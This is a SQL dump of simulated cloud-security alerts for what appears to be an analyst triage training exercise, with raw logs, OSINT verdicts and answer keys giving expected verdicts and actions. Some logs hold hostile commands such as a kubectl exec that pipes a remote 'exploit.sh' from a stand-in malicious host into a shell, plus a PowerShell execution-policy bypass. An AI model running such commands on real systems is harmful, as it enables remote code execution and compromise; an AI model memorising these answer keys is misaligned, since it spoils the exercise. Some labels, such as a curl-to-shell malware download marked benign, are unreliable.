(2007, 'Potential Serverless Function Exploitation', 'medium', 'Wiz', 'Detected unusual execution pattern in serverless function, potentially indicating exploitation.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:50:00Z\",\"event_type\":\"function_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.2.3.4\",\"username\":\"lambda_function\",\"hostname\":\"aws_lambda\",\"request_body\":\"POST /run-function\",\"command_line\":\"node exploit.js\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple serverless function exploitations\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"lambda_function\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Lambda function execution detected\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"node exploit.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Execution of potentially malicious JavaScript code\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"Malicious IP executing unusual patterns in serverless function indicates potential exploitation attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2008, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'An unauthorized external IP accessed sensitive files in an S3 bucket, indicating a potential data exfiltration attempt.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:45:00Z\",\"event_type\":\"access_denied\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"N/A\",\"username\":\"external_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive_data/file1.csv HTTP/1.1\",\"command_line\":\"N/A\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 125 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"external_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Username not recognized in organization\"}},{\"id\":\"artifact_3\",\"type\":\"hostname\",\"value\":\"s3.amazonaws.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate AWS service\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"External IP accessing sensitive data indicates a clear data exfiltration attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2009, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'An internal user account attempted unauthorized privilege escalation using PowerShell scripts.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.8\",\"username\":\"jdoe\",\"hostname\":\"azure-vm-01\",\"request_body\":\"N/A\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\scripts\\\\escalate.ps1\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the organization\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -ExecutionPolicy Bypass -File C:\\\\scripts\\\\escalate.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Script identified as malicious for privilege escalation\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity detected for this user\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PowerShell scripts for privilege escalation is a strong indicator of a lateral movement attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2010, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'Unauthorized use of a service account was detected, possibly indicating hijacking and subsequent misuse.', 'Credential Attack', 'T1528', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"35.192.0.2\",\"username\":\"service-account@project.iam.gserviceaccount.com\",\"hostname\":\"gcp-instance-1\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account@project.iam.gserviceaccount.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Service account being used in unauthorized context\"}},{\"id\":\"artifact_3\",\"type\":\"hostname\",\"value\":\"gcp-instance-1\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate GCP instance\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Unauthorized access attempts using a service account indicate possible hijacking.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2011, 'Prisma Cloud Unauthorized IAM Role Creation', 'high', 'Prisma Cloud', 'A new IAM role was created without proper authorization, suggesting a potential privilege escalation attempt.', 'Credential Attack', 'T1098', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:05:00Z\",\"event_type\":\"role_creation\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"N/A\",\"username\":\"admin_user\",\"hostname\":\"prisma-cloud-instance\",\"request_body\":\"CreateRole: {\\\"RoleName\\\": \\\"AdminAccess\\\", \\\"Permissions\\\": \\\"*\\\"}\",\"command_line\":\"N/A\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in role creation\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual role creation activity detected\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"CreateRole: {\\\"RoleName\\\": \\\"AdminAccess\\\", \\\"Permissions\\\": \\\"*\\\"}\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Payload indicates attempt to grant excessive permissions\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Creating roles with excessive permissions without authorization is indicative of privilege escalation.\"}', 'Intermediate', 'CLOUD', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2012, 'Wiz Kubernetes Cluster Compromise Detected', 'critical', 'Wiz', 'Suspicious activity detected involving the execution of unauthorized commands on a Kubernetes cluster node.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.10\",\"dst_ip\":\"192.168.2.11\",\"username\":\"k8s-node-user\",\"hostname\":\"k8s-cluster-node-3\",\"request_body\":\"N/A\",\"command_line\":\"kubectl exec -- /bin/sh -c \'curl http://malicious-site.com/exploit.sh | sh\'\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address within Kubernetes cluster\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl exec -- /bin/sh -c \'curl http://malicious-site.com/exploit.sh | sh\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution involves downloading and executing a remote script\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"k8s-node-user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"User account activity inconsistent with normal operations\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The execution of unauthorized commands on a Kubernetes node suggests a compromise and lateral movement attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2013, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'An S3 bucket was accessed from an unfamiliar IP address, and data was exfiltrated. The access pattern matches known data exfiltration behavior.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T04:45:00Z\",\"event_type\":\"s3_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"198.51.100.10\",\"username\":\"s3_admin\",\"hostname\":\"aws-s3-bucket\",\"request_body\":\"GET /secret-data.txt HTTP/1.1\",\"command_line\":\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for data exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"s3_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal AWS account used for regular operations\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /secret-data.txt HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Unusual access pattern detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The source IP has a history of malicious activity and accessed sensitive data, confirming a true positive for data exfiltration.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2014, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'A potential privilege escalation was detected in Azure IAM. A user attempted to assign themselves admin roles.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:15:00Z\",\"event_type\":\"role_assignment\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"\",\"username\":\"regular_user\",\"hostname\":\"azure-ad\",\"request_body\":\"\",\"command_line\":\"az role assignment create --assignee regular_user --role Contributor\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"regular_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual privilege escalation attempt by a non-admin user\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee regular_user --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicates an attempt to escalate privileges\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of admin-level commands by a regular user from a suspicious IP indicates a true positive for privilege escalation.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2015, 'GCP Service Account Hijacking Attempt', 'critical', 'GCP SCC', 'A service account was accessed from a foreign IP address, indicating potential hijacking.', 'Credential Attack', 'T1556', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:30:00Z\",\"event_type\":\"api_call\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"\",\"username\":\"service-account@gcp-project.iam.gserviceaccount.com\",\"hostname\":\"gcp-instance\",\"request_body\":\"\",\"command_line\":\"gcloud auth activate-service-account --key-file=key.json\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account@gcp-project.iam.gserviceaccount.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Service account accessed from a non-standard location\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"gcloud auth activate-service-account --key-file=key.json\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in previous hijacking attempts\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The access of a service account from a known malicious IP suggests a hijacking attempt, confirming a true positive.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2016, 'Unauthorized Kubernetes Cluster Access', 'high', 'Prisma Cloud', 'Detected unauthorized access to a Kubernetes cluster from an unknown IP, potentially leading to lateral movement.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"kube_access\",\"src_ip\":\"198.51.100.34\",\"dst_ip\":\"10.0.0.5\",\"username\":\"kube_admin\",\"hostname\":\"k8s-cluster\",\"request_body\":\"\",\"command_line\":\"kubectl exec --namespace=default -it pod-123 -- /bin/sh\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to unauthorized access attempts on Kubernetes clusters\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal Kubernetes node IP\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"kubectl exec --namespace=default -it pod-123 -- /bin/sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in lateral movement attacks\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of administrative commands from a non-standard IP indicates a lateral movement attempt, confirming a true positive.\"}', 'Intermediate', 'CLOUD', 5, 1, 'ENERGY', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(2017, 'Suspicious AWS Lambda Function Invocation', 'medium', 'Wiz', 'A Lambda function was invoked by an unauthorized user, indicating potential misuse for data processing.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:30:00Z\",\"event_type\":\"lambda_invocation\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"\",\"username\":\"lambda_user\",\"hostname\":\"aws-lambda\",\"request_body\":\"{\\\"action\\\":\\\"process_data\\\",\\\"data\\\":\\\"Zm9vYmFyMTIz\\\"}\",\"command_line\":\"aws lambda invoke --function-name processDataFunction outputfile.txt\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in unauthorized AWS Lambda function invocations\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"lambda_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"User has no prior invocation history\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"{\\\"action\\\":\\\"process_data\\\",\\\"data\\\":\\\"Zm9vYmFyMTIz\\\"}\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Base64 encoded data processed without authorization\"}},{\"id\":\"artifact_4\",\"type\":\"command\",\"value\":\"aws lambda invoke --function-name processDataFunction outputfile.txt\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to invoke unauthorized data processing\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The invocation from a malicious IP using unauthorized commands confirms misuse of Lambda functions, indicating a true positive.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2018, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'Anomalous behavior detected for a GCP service account with administrative privileges. Suspicious API calls were made from an unusual IP address, indicating possible hijacking.', 'Credential Attack', 'T1528', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:15:30Z\",\"event_type\":\"api_call\",\"src_ip\":\"203.0.113.58\",\"dst_ip\":\"10.0.0.5\",\"username\":\"svc-admin-account\",\"hostname\":\"gcp-instance-1\",\"request_body\":null,\"command_line\":\"gcloud compute instances list --project=myproject\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.58\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1023 times for suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"svc-admin-account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Service account used internally in the organization\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP was flagged for malicious activity and the service account made unauthorized API calls.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2019, 'Azure Suspicious Administrative Activity', 'high', 'Azure Defender', 'Unusual administrative actions detected from an internal IP address. Activity pattern resembles a privilege escalation attempt.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"10.1.2.3\",\"dst_ip\":\"10.1.2.5\",\"username\":\"admin_user\",\"hostname\":\"azure-vm-2\",\"request_body\":null,\"command_line\":\"net user admin_user /add\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal corporate network\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User account belongs to authorized personnel\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Activity was performed by an authorized administrator from an internal IP.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2020, 'AWS S3 Bucket Data Access from Unusual Location', 'medium', 'AWS GuardDuty', 'Data was accessed from an AWS S3 bucket using an IP address from a foreign country, which is unusual for the organization.', 'Data Exfiltration', 'T1537', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:20:45Z\",\"event_type\":\"s3_access\",\"src_ip\":\"192.0.2.44\",\"dst_ip\":\"192.0.2.55\",\"username\":\"data_analyst\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":null,\"command_line\":null}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.44\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP rarely appears in threat logs, no malicious activity reported\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"data_analyst\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User account verified as belonging to the data team\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The IP is clean and the user is part of the data team operating remotely.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2021, 'Prisma Cloud Kubernetes Pod Anomaly', 'medium', 'Prisma Cloud', 'A Kubernetes pod executed a new process that deviates from its normal behavior, possibly indicating a misconfigured policy.', 'Execution', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:22:11Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.3.10\",\"dst_ip\":null,\"username\":\"k8s-service-account\",\"hostname\":\"kube-node-1\",\"request_body\":null,\"command_line\":\"curl http://example.com/malware.sh | sh\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.3.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP is part of internal Kubernetes cluster\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl http://example.com/malware.sh | sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command matches known benign operations for testing environment\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The command was executed in a testing environment and is part of scheduled tests.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2022, 'Wiz Detected Anomalous Login Patterns', 'medium', 'Wiz', 'Multiple failed login attempts followed by a successful login from an unfamiliar IP address, suggesting a potential brute force attack.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:33:27Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.24\",\"dst_ip\":\"10.0.2.7\",\"username\":\"jdoe\",\"hostname\":\"corporate-vpn\",\"request_body\":null,\"command_line\":null}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.24\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"IP has been involved in unusual login patterns but no direct malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User is a legitimate employee with VPN access\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login pattern is unusual but does not indicate a security breach; user confirmed the access.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2023, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'An unauthorized access attempt to an AWS S3 bucket was detected from an external IP address. The access attempt utilized stolen credentials.', 'Data Exfil', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"data_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.5\",\"username\":\"compromised_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data-bucket/* HTTP/1.1\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Username linked to recent credential leaks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The unauthorized access attempt from a known malicious IP and the involvement of a compromised user account indicate a true positive data exfiltration attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(2024, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'A privilege escalation attempt was detected on an Azure account using a vulnerable service principal.', 'Credential Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"service_principal_123\",\"hostname\":\"azuread.microsoft.com\",\"command_line\":\"az role assignment create --assignee <user_id> --role Contributor\"}', '2026-03-16 03:17:02', '2026-03-16 03:17:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous privilege escalation attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"az role assignment create --assignee <user_id> --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command matches known escalation technique\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of a known malicious IP and a command associated with privilege escalation confirm the attack.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
